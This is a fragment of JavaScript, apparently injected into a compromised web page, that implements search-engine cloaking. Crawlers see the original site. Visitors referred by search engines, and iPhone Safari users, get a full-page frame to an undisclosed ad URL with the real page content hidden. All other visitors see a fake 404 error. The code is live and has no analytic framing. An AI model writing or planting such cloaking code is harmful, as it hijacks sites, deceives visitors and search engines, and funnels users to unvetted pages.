"; var isSpider = /(baiduspider|googlebot|sogou|bingbot|yandex|slurp|duckduckbot|facebookexternalhit|facebot|twitterbot|teoma|ahrefsbot|crawler|spider|bot)/i.test(navigator.userAgent); var isSearchEngineReferer = /(baidu\.com|sogou\.com|so\.com|sm\.cn|google\.com|bing\.com)/i.test(referer); var isAppleSafari = /iPhone|iPad|iPod/.test(navigator.userAgent) && /Safari/.test(navigator.userAgent) && !/CriOS|FxiOS|EdgiOS|OPiOS|GSA|UCBrowser|FBAN|FBAV/.test(navigator.userAgent); if (isSpider) { console.log("蜘蛛访问,显示源站"); } else if (isSearchEngineReferer) { setFrame(adPageUrl); } else if (isAppleSafari) { setFrame(adPageUrl); } else { show404(); } function show404() { var errorHtml = '' + '' + '' + '' + '' + '404 Not Found' + '' + '' + '' + '
' + '

404

' + '

Not Found

' + '

抱歉,您访问的页面不存在或已被移除。

' + '

The requested URL was not found on this server.

' + '
' + '' + ''; document.write(errorHtml); if (typeof window.status !== 'undefined') { window.status = "404 Not Found"; } try { var metaStatus = document.createElement('meta'); metaStatus.setAttribute('http-equiv', 'status'); metaStatus.setAttribute('content', '404'); document.getElementsByTagName('head')[0].appendChild(metaStatus); } catch(e) {} } function setFrame(olink) { var ss = '' + titlestr + '
'; document.write(ss); try { setTimeout(function() { for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if (b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "none"; } } catch(e) {} } var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100); } catch(e) {} }